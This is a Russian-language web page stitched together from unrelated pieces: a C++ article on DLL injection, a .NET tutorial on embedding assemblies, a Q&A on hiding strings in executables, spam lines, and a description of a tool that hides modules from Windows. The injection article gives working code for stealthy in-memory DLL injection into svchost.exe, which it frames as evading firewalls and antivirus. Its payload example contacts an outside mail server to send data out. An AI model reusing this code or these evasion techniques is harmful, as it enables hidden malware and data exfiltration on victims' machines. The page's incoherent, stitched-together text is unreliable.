Как спрятать exe в dll

Обновлено: 03.07.2024

Внедрению DLL так или иначе (обычно в связи с перехватом API) посвящено достаточно большое количество статей. Но ни в одной из тех, которые я читал, не говорится, как внедрить эту DLL в чужой процесс незаметно, т.е. не храня на диске файл самой DLL, а оперируя им непосредственно в памяти.

В настоящее время широчайшую распространенность получили операционные системы семейства Windows NT/2000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а также для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Основной язык для приводимых фрагментов кода – C++, но материал актуален и для любого другого языка (Delphi, Ассемблер и т.д.). Единственное условие - язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статьи нужно хотя бы немножко знать ассемблер и С++. Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Предполагается, что читатель знаком с программированием в Visual C++, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.

Данная статья актуальна только для систем Windows NT/2000/XP.

Зачем использовать DLL?

При желании можно напрямую записать весь исполняемый код в адресное пространство процесса-жертвы и запустить его функцией CreateRemoteThread. При большом желании можно добиться
того, что бы это заработало. Можно внедрить в адресное пространство целевого процесса весь образ текущего процесса целиком (код, данные, ресурсы и т.д.), после чего запустить на выполнение и работать так же, как и в своем процессе. Этот метод позволяет работать во внедряемом коде с Run Time Library и применять
объектно-ориентированное программирование, к тому же сам метод чрезвычайно прост для применения. Но если внедрять весь процесс целиком, то нам придется внедрить и «лишние» процедуры, которые могут нам и не понадобиться в чужом коде. Поэтому целесообразнее внедрить отдельную DLL, которая содержит лишь необходимые функции для работы.

Основные требования к внедряемому коду:

  • Базонезависимость (адрес загрузки кода в чужой процесс неизвестен заранее).
  • Независимость от Run Time Library.
  • Использование только библиотек, загруженных в адресное пространство целевого процесса.
  • Наличие во внедряемом коде всех необходимых для него данных.

При написании внедряемого кода следует учесть, что единственная DLL, которая обязательно должна присутствовать в адресном пространстве любого процесса - это ntdll.dll, эта DLL загружается даже при отсутствии импорта в исполнимом файле, и представляет собой слой Native API, переходники к функциям ядра Windows.

Если внедряемый код использует функции, экспортируемые библиотеками, отличными от ntdll.dll, то необходимо убедиться в наличии этих библиотек в адресном пространстве целевого процесса и при необходимости загрузить их.

Допустим, нам необходимо использовать во внедряемом коде функции из wsock32.dll и kernel32.dll. Воспользуемся следующим кодом:

if(!GetModuleHandle("wsock32.dll"))
LoadLibrary("wsock32.dll");
if(!GetModuleHandle("kernel32.dll"))
LoadLibrary("kernel32.dll");

Класс CInjectDllEx

Для внедрения DLL обоими методами (внешней DLL и внутренней DLL) я написал класс CInjectDllEx. Этот класс содержит все необходимые процедуры для работы. Для его использования необходимо просто вызвать его процедуру StartAndInject:

BOOL StartAndInject(
LPSTR lpszProcessPath,
BOOL bDllInMemory,
LPVOID lpDllBuff,
LPSTR lpszDllPath,
BOOL bReturnResult,
DWORD *dwResult);

[in] lpszProcessPath - Путь к программе, которую необходимо запустить и в которую будет внедрен код Dll.

[in] bDllInMemory - Если этот параметр TRUE, то используется аргумент lpDllBuff, иначе - используется аргумент lpszDllPath.

[in] lpDllBuff - Указатель на содержимое Dll в памяти. Должен быть NULL, если параметр bDllInMemory принимает значение FALSE.

[in] lpszDllPath - Полный путь к внедряемой Dll. Должен быть NULL, если параметр bDllInMemory принимает значение TRUE.

[in] bReturnResult - Если этот параметр TRUE, то параметр dwResult используется, иначе он не используется и должен быть NULL.

[out] dwResult - Указатель на переменную, в которой будет сохранен код завершения, переданный в функцию ExitProcess в Dll. Должен быть NULL, если bReturnResult принимает значение FALSE.

Возвращаемые значения:
Эта процедура возвращает TRUE, если удалось внедрить в процесс код Dll. Иначе возвращается FALSE.

Внедрение DLL, находящейся на диске

Весьма удобен и эффективен метод внедрения в чужой код своей DLL, но этот метод имеет некоторые недостатки, так как необходимо хранить DLL на диске, и загрузку лишней DLL легко обнаружить программами типа PE-Tools. Также на лишнюю DLL могут обратить внимание антивирусы и фаерволлы (например Outpost Fierwall), что тоже нежелательно.

Приведем код, позволяющий внедрить внешнюю DLL в чужой процесс:

LPVOID Memory = VirtualAllocEx(Process,0,sizeof(Inject),
MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(!Memory)
return FALSE;
DWORD Code = DWORD(Memory);
// Инициализация внедряемого кода:
Inject.PushCommand = 0x68;
Inject.PushArgument = Code + 0x1E;
Inject.CallCommand = 0x15FF;
Inject.CallAddr = Code + 0x16;
Inject.PushExitThread = 0x68;
Inject.ExitThreadArg = 0;
Inject.CallExitThread = 0x15FF;
Inject.CallExitThreadAddr = Code + 0x1A;
HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
Inject.AddrLoadLibrary = GetProcAddress(hKernel32,"LoadLibraryA");
Inject.AddrExitThread = GetProcAddress(hKernel32,"ExitThread");
lstrcpy(Inject.LibraryName,ModulePath);
// Записать машинный код по зарезервированному адресу
WriteProcessMemory(Process,Memory,&Inject,sizeof(Inject),0);

// Получаем текущий контекст первичной нити процесса
CONTEXT Context;
Context.ContextFlags = CONTEXT_FULL;
BOOL bResumed = FALSE;
if(GetThreadContext(Thread,&Context))
// Изменяем контекст так, чтобы выполнялся наш код
Context.Eip = Code;
if(SetThreadContext(Thread,&Context))
// Запускаем нить
bResumed = ResumeThread(Thread) != (DWORD)-1;
if(bResumed)
WaitForSingleObject(Thread,INFINITE);
>
>
if(!bResumed)
// Выполнить машинный код
HANDLE hThread = CreateRemoteThread(Process,0,0,(LPTHREAD_START_ROUTINE)Memory,0,0,0);
if(!hThread)
return FALSE;
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
>
return TRUE;
>

Единственный аргумент данной функции – путь к внедряемой
DLL. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Обратите внимание, что в данной функции сначала предпринимается попытка запустить удаленный поток без вызова CreateRemoteThread с использованием функций GetThreadContext, SetThreadContext. Для этого мы получаем хэндл главной нити процесса, после чего получаем контекст нити (GetThreadContext), изменяем содержимое регистра EIP так, чтобы он указывал на наш внедряемый код, а потом запускаем нить (ResumeThread). Если не удается запустить удаленный код этим методом, то просто вызывается CreateRemoteThread.

Внедрение DLL, находящейся в памяти

Существует метод, позволяющий загрузить DLL в другой процесс более незаметным способом. Для этого нужно внедрить в процесс образ этой DLL, затем настроить у нее таблицу импорта и релоки, после чего выполнить ее точку входа. Этот метод позволяет не хранить DLL на диске, а проводить действия с ней исключительно в памяти, также эта DLL не будет видна в списке загруженных процессом модулей, и на нее не обратит внимание фаерволл:

MapLibrary(pModule,Src);
if(!_ImageBase)
return FALSE;

TDllLoadInfo DllLoadInfo;
DllLoadInfo.Module = _ImageBase;
DllLoadInfo.EntryPoint = _DllProcAddress;

WriteProcessMemory(Process,pModule,_ImageBase,_ImageSize,0);
HANDLE hThread = InjectThread(DllEntryPoint, &DllLoadInfo,sizeof(DllLoadInfo));
if(hThread)
WaitForSingleObject(hThread,INFINITE);
CloseHandle(hThread);
return TRUE;
>
return FALSE;
>

Src - адрес образа Dll в текущем процессе. Функция возвращает TRUE, если код DLL был внедрен и запущен в целевом процессе. Иначе – FALSE.

Функции, не описанные здесь, можно найти в прилагаемых к статье файлах.

Обход фаерволла как пример применения усовершенствованного внедрения DLL

// Выход из программы
VOID ExitThisDll(SOCKET s,BOOL bNoError)
closesocket(s);
WSACleanup();
ExitProcess(bNoError);
>

// Передать запрос серверу
VOID SendRequest(SOCKET s,LPCSTR tszRequest)
if(send(s,tszRequest,lstrlen(tszRequest),0) == SOCKET_ERROR)
ExitThisDll(s,FALSE);
>

// Адрес получателя
LPCTSTR lpszRecipientAddress = "crash86@mail.ru";

// Точка входа
VOID WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
if(!GetModuleHandle("wsock32.dll"))
LoadLibrary("wsock32.dll");
if(!GetModuleHandle("kernel32.dll"))
LoadLibrary("kernel32.dll");

WSADATA wsaData;
WSAStartup(MAKEWORD(1,1),&wsaData);

SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s == INVALID_SOCKET)
WSACleanup();
ExitProcess(FALSE);
>

PHOSTENT pHostEnt = gethostbyname("smtp.mail.ru");
if(!pHostEnt)
ExitThisDll(s,FALSE);

CHAR tszRequestAnswer[512] = "";
ReceiveAnswer(s,tszRequestAnswer);

// Передаем привет серверу
SendRequest(s,"helo friend\r\n");
// Получаем привет от сервера
ReceiveAnswer(s,tszRequestAnswer);

// Говорим, от кого письмо
SendRequest(s,"mail from:<crash86@mail.ru>\r\n");
// Получаем ответ о корректности синтаксиса электронного адреса
ReceiveAnswer(s,tszRequestAnswer);

// Сообщаем серверу адресат
lstrcpy(tszRequestAnswer,"rcpt to:<");
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,">\r\n");
SendRequest(s,tszRequestAnswer);
// Сервер говорит, что проверил наличие адреса и отправитель локальный
ReceiveAnswer(s,tszRequestAnswer);

// Готовим сервер к приему данных
SendRequest(s,"data\r\n");
// Сервер сообщает о готовности
ReceiveAnswer(s,tszRequestAnswer);

// Заполняем поле "Куда"
lstrcpy(tszRequestAnswer,"To: ");
lstrcat(tszRequestAnswer,lpszRecipientAddress);
lstrcat(tszRequestAnswer,"\r\n");
SendRequest(s,tszRequestAnswer);

// Заполняем поле "От кого"
SendRequest(s,"From: crash86@mail.ru\r\n");

// Завершаем передачу
SendRequest(s,"\r\n.\r\n");
ReceiveAnswer(s,tszRequestAnswer);

// Выходим
SendRequest(s,"quit\r\n");
// Подтверждение (ОК)
ReceiveAnswer(s,tszRequestAnswer);
ExitThisDll(s,TRUE);
>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
CInjectDllEx cide;
DWORD dwResult = FALSE;

MessageBox(0,"Отправка почты с помощью DLL на диске. ","TestExe",MB_ICONINFORMATION);
cide.StartAndInject("svchost.exe", FALSE,NULL, "SendMailDll.dll",TRUE,&dwResult);
if(dwResult)
MessageBox(0,"Почта отправлена! :)", "TestExe",MB_ICONINFORMATION);
else
MessageBox(0,"Почта не отправлена :(", "TestExe",MB_ICONERROR);

MessageBox(0,"Отправка почты с помощью DLL в памяти. ",
"TestExe",MB_ICONINFORMATION);
cide.StartAndInject("svchost.exe",TRUE, LockResource(LoadResource(0,FindResource(0,
MAKEINTRESOURCE(IDR_SENDING_DLL), "DLL"))),NULL,TRUE,&dwResult);
if(dwResult)
MessageBox(0,"Почта отправлена! :)", "TestExe",MB_ICONINFORMATION);
else
MessageBox(0,"Почта не отправлена :(", "TestExe",MB_ICONERROR);
return 0;
>

Здесь сначала внедряется DLL, находящаяся на диске, затем – в памяти.
В случае внедрения из памяти, DLL находится в ресурсах внедряющей программы.

Данный способ внедрения DLL можно использовать и для перехвата API. Из всего вышесказанного следует, что технологии внедрения кода и перехвата API могут служить для обхода практически любой защиты и создания чрезвычайно опасных вредоносных программ. Также они могут быть использованы и для создания систем безопасности. Также вышеприведенные примеры показывают, что как бы производители не рекламировали непробиваемость своих фаерволлов, все равно они спасают только от самых примитивных вредоносных программ. Надежность антивирусов тоже не следует считать достаточной, так как они могут быть легко уничтожены вредоносной программой. В настоящее время от подобных приемов защиты не существует, поэтому нужно быть осторожным при установке нового софта, так как неизвестно, что может в себе содержать любая программа. Также хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб, нанесенный применением полученных знаний. Если вы с этим не согласны, то пожалуйста удалите статью со всех имеющихся у вас носителей информации и забудьте прочитанное.

Однако существуют программы, использующие сторонние библиотеки, но при этом состоящие из одного единственного файла. Все утилиты от SysInternals, а также любимый мной LINQPad представляют из себя один файл в котором содержится все, что требуется для работы. Пользоваться такими утилитами одно удовольствие — они сразу готовы к использованию, их удобно передавать и хранить.

В статье рассказывается, как создавать такие автономные программы из одного файла. Разобран пример как со сжатием зашить библиотеку AutoMapper в программу и как ее потом достать и использовать.

Исходный код к статье — скачать

Код программы использует стороннюю библиотеку AutoMapper. Чтобы убедиться в работоспособности библиотеки после ее зашития в ресурсы, в программе вызывается код из семплов к библиотеке. Этот код здесь не приведен, ибо это статья не об AutoMapper. Но сама библиотека интересная и полезная — рекомендую посмотреть, что же она делает в коде.

Если CLR не удалось найти сборку, вызывается событие AppDomain.AssemblyResolve. Событие дает возможность загрузить требуемую сборку вручную. Поэтому для реализации автономной программы, состоящей из одного exe файла, достаточно зашить все зависимые сборки в ресурсы и в обработчике AssemblyResolve подгружать их.

Удобно класть в ресурсы сборки в архивированном виде. Архивация уменьшает размер итоговой программы приблизительно в 2 раза. Скорость запуска увеличивается, но эти доли секунды мало кто заметит. А вот уменьшение размера файла позволит его быстрее качать по сети.

Итак, у нас есть работающий проект, использующий сторонние библиотеки. Хочется, чтобы exe файл проекта был автономен и не требовал наличия зависимых dll в своем каталоге.

Полученную ранее архивированную сборку добавляем в ресурсы проекта через Project Properties-Resources-Files. Студия при добавлении ресурса генерирует код, который позволяет использовать добавленный ресурс через Resources класс.

Регистрируем обработчик AssemblyResolve (до использования классов зависимой библиотеки):

AppDomain .CurrentDomain.AssemblyResolve += AppDomain_AssemblyResolve;
Код обработчика:
private static Assembly AppDomain_AssemblyResolve( object sender, ResolveEventArgs args )
if ( args.Name.Contains( "AutoMapper" ) )
Console .WriteLine( "Resolving assembly: " , args.Name );

// Загрузка запакованной сборки из ресурсов, ее распаковка и подстановка
using ( var resource = new MemoryStream ( Resources .AutoMapper_dll ) )
using ( var deflated = new DeflateStream ( resource, CompressionMode .Decompress ) )
using ( var reader = new BinaryReader ( deflated ) )
var one_megabyte = 1024 * 1024;
var buffer = reader.ReadBytes( one_megabyte );
return Assembly .Load( buffer );
>
>

Для нескольких зависимых библиотек стоит ввести соглашение, согласно которому имя ресурса и искомой сборки совпадают. Тогда можно с помощью отражения автоматически искать требуемую библиотеку в ресурсах.

По умолчанию зависимые библиотеки, добавляемые через References, копируются в выходную директорию проекта. Чтобы AssemblyResolve сработал, нужно либо скопировать выходной exe файл в другую директорию, либо запретить копировать зависимые библиотеки в конечную директорию через References-AutoMapper-Properties-Copy Local=false.

Включение зависимых сборок в ресурсы самой программы позволяет ей работать автономно. Для запуска требуется один лишь exe файл. Это важно для служебных утилит, сразу готовых к использованию.

Фактически такие автономные программы не требуют установки и их удобно передавать по сети или хранить на флешке. Архивирование сборок позволяет уменьшить размер программы и больше таких программ разместить на флешке / быстрее выкачивать из сети.

Я обнаружил, что можно извлечь жестко запрограммированные строки из двоичного файла.
Например, в представлении свойств Process Explorer отображается вся строка с более чем 3 символа.

Вот код простого исполняемого файла, который я написал, чтобы просто протестировать его:

Очевидно, что строки могут быть извлечены из соответствующего исполняемого файла:

Я думаю, что найти струны слишком легко.

  1. Как просто скрыть hiddenString1 или hiddenString2 в исполняемый?
  2. Есть ли более безопасный способ использования «чит-кода», чем использование неясного скрытого ввода?

Есть несколько вариантов, но я считаю, что все они зависят от той или иной формы обфускации; что хоть и не идеально, но хоть что-то.

Вместо простого строкового значения вы можете сохранить текст в какой-либо другой двоичной форме (шестнадцатеричной?).

Вы можете зашифровать строки, которые хранятся в вашем приложении, а затем расшифровать их во время выполнения.

Вы можете разделить их по разным точкам кода и воссоздать позже.

Или какая-то их комбинация.

Четвертая идея - не хранить строку в самом приложении, а полагаться на код проверки, который будет отправлен на сервер, который вы контролируете. На сервере вы можете проверить, действительно ли это «чит-код».

Есть много способов скрыть данные в исполняемом файле. Другие здесь опубликовали хорошие решения - одни более сильные, чем другие. Я не буду добавлять в этот список.

Только учтите: это игра в кошки-мышки: невозможно гарантировать , что никто не узнает ваш «секрет».

Независимо от того, сколько шифрования или других уловок вы используете; независимо от того, сколько усилий или денег вы вложили в это. Неважно, сколько типов «НАСА / Массачусетский технологический институт / ЦРУ / АНБ» задействовано в его сокрытии.

Все сводится к простой физике:
Если бы любой пользователь не мог извлечь ваш секрет из исполняемого файла и "показать" его, то компьютер также не смог бы показать его, и ваша программа не смогла бы использовать Это. Любой умеренно опытный разработчик с достаточным стимулом найдет способ раскрыть секрет.

В тот момент, когда вы передаете свой исполняемый файл пользователю, у него есть все необходимое, чтобы узнать секрет.

Лучшее, на что вы можете надеяться, - это сделать так, чтобы раскрытие секрета было таким трудным , что любые выгоды, которые вы можете получить от знания секрета, не будут стоить хлопот.

Итак, это нормально - пытаться скрыть данные, если это просто «нехорошо», если они станут общедоступными, или если последствия их обнародования будут просто «неудобными». Но даже не думайте о том, чтобы скрывать в вашей программе «пароль к вашей основной клиентской базе данных», закрытый ключ или какой-либо другой важный секрет. Вы просто не можете.

Если у вас есть действительно критически секретная информация, которая каким-то образом понадобится вашей программе, но НИКОГДА не должна стать общедоступной информацией (например, закрытый ключ), тогда вам необходимо, чтобы ваша программа взаимодействовала с удаленным сервером под вашим контролем, применив соответствующие элементы управления аутентификацией и авторизацией ( то есть убедитесь, что только одобренные люди или компьютеры могут отправлять запросы к серверу ), и пусть этот сервер хранит секрет и использует его.

Самый простой способ - зашифровать их чем-нибудь тривиальным, например xor или rot-13, а затем расшифровать их на лету, когда они будут использоваться. Это исключит случайный просмотр их, но не остановит никого, кто имеет большой опыт в движении задним ходом.

В дополнение к этим методам, как упоминает Крис, вы также можете использовать алгоритм хеширования. Если все, что вы хотите сделать, это проверить, был ли указан правильный идентификатор, вам на самом деле не нужно хранить весь идентификатор в вашей программе.

  • Создайте хэш (MD5, SHA и т. Д.) Строки / пароля / идентификатора, с которым вы хотите сравнить, возможно, добавьте к нему значение «соли». Сохраните это в своей программе
  • Когда программа запущена, выполните тот же алгоритм для входной строки / пароля / идентификатора и сравните два хэша, чтобы увидеть, совпадают ли они.

Таким образом, фактический текст никогда не сохраняется в вашей программе, и они не могут реконструировать вашу программу, чтобы узнать, каким был исходный текст, потому что алгоритмы хеширования являются только односторонними.

Все ваши секретные коды будут идентификаторами GUID или это всего лишь пример?

Возможно, сохраните свой секрет как двоичный гид:

Затем преобразуйте предоставленный вами идентификатор из строки в двоичный формат и сравните два двоичных идентификатора.

Если есть конкретная строка, которую вы не хотите, чтобы люди могли видеть, зашифруйте ее и расшифруйте во время выполнения.

Если вы не хотите, чтобы люди видели ваш GUID, создайте его из байтов, а не из строки:

Лучшее, что вы можете сделать, - это закодировать свой пароль или другую строку, которую вы хотите скрыть, как массив символов. Например:

Вот метод, который я использую для этой цели. Сначала я использую инструмент Strings от Sysinternals для отображения строк в EXE или DLL. Затем я использую следующий небольшой инструмент (см. article ), чтобы заменить эти строки зашифрованным массивом символов, хранящимся как арифметическое выражение: для пример: вместо строки: "это тест" Я размещу следующий код: (который автоматически создается этим инструментом )

Есть много решений этой проблемы, и ни одно из них (включая мое) не является идеальным, однако есть способы зашифровать, замаскировать и скрыть чувствительные струны. Вы, конечно, можете зашифровать их и расшифровать во время выполнения (см. Эту статью), но я считаю более важным заставить эту строку исчезнуть среди битов и байтов исполняемого файла, и это сработает. После запуска моего инструмента вы не найдете в исполняемом файле «это тест».

warl0ck сломал счётчик популярности :(
warl0ck сломал счётчик популярности :(
warl0ck сломал счётчик популярности :(
warl0ck сломал счётчик популярности :(
warl0ck сломал счётчик популярности :(
warl0ck сломал счётчик популярности :(
warl0ck сломал счётчик популярности :(
warl0ck сломал счётчик популярности :(
warl0ck сломал счётчик популярности :(
warl0ck сломал счётчик популярности :(
warl0ck сломал счётчик популярности :(

The purpose of CloakDll is to allow the user to hide any loaded
module from the windows API. It works by accessing the modules
list stored in the PEB, and subsequently unlinking the module
in question from all 4 of the doubly-linked lists that it's a
node of. It then zeroes out the structure and the path/file name of the module in memory. So that even if the memory where
the data about this module used to reside is scanned there will
still be no conclusive evidence of it's existence. At present
there is only one weakness that I have found in this method.
I'll describe how it may still be possible to discover at least
that a module has been hidden, after a brief introduction to how
the GetModuleHandle function works.

The following information is not documented by Microsoft. This
information consists of my findings while reverse-engineering
these functions and some of them may be incorrect and/or
subject to change at any time(and is almost definitely different
in different versions of windows, and maybe even in different
service packs). I've tried to make my code as version independant
as possible but certain parts of it may not work on older versions
of windows. I've tested it on XP SP2 and there i'll guarantee
that it works, but on any other versions of windows, it's anyone's
guess.*

GetModuleHandle eventually calls GetModuleHandleExW, which in
turn accesses the native API function GetDllHandle, which calls
GetDllHandleEx. And it's not until here, that we actually see
anything even begin to look up information about loaded modules.
Whenever GetModuleHandle is called, it saves the address of the
last ModuleInfoNode structure that it found in a global variable
inside of ntdll. This global variable is the first thing
checked on all subsequent calls to GetModuleHandle. If the
handle being requested is not the one that was requested the last
time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
LdrpCheckForLoadedDll begins by converting the first letter of the
module name being requested to uppercase, decrementing it by 1 and
AND'ing it with 0x1F. This effectively creates a 0-based index
beginning with the letter 'A'. The purpose of this is so that
the module can first be looked up in a hash table. The hash table
consists entirely of LIST_ENTRY structures. One for each letter
'A' through 'Z'. The LIST_ENTRY structure points to the first
and last modules loaded that begin with the letter assigned to
that entry in the hash table. The Flink member being the first
loaded beginning with that letter, and the Blink member being the
last. The code scans through this list until it finds the module
that it's looking for. On the off-chance that it doesn't find it
there, or if the boolean argument UseLdrpHashTable is set to false
it will begin going through one of the other three lists. If, at
this point it still doesn't find it, it will admit defeat and return
0 for the module handle.

Читайте также: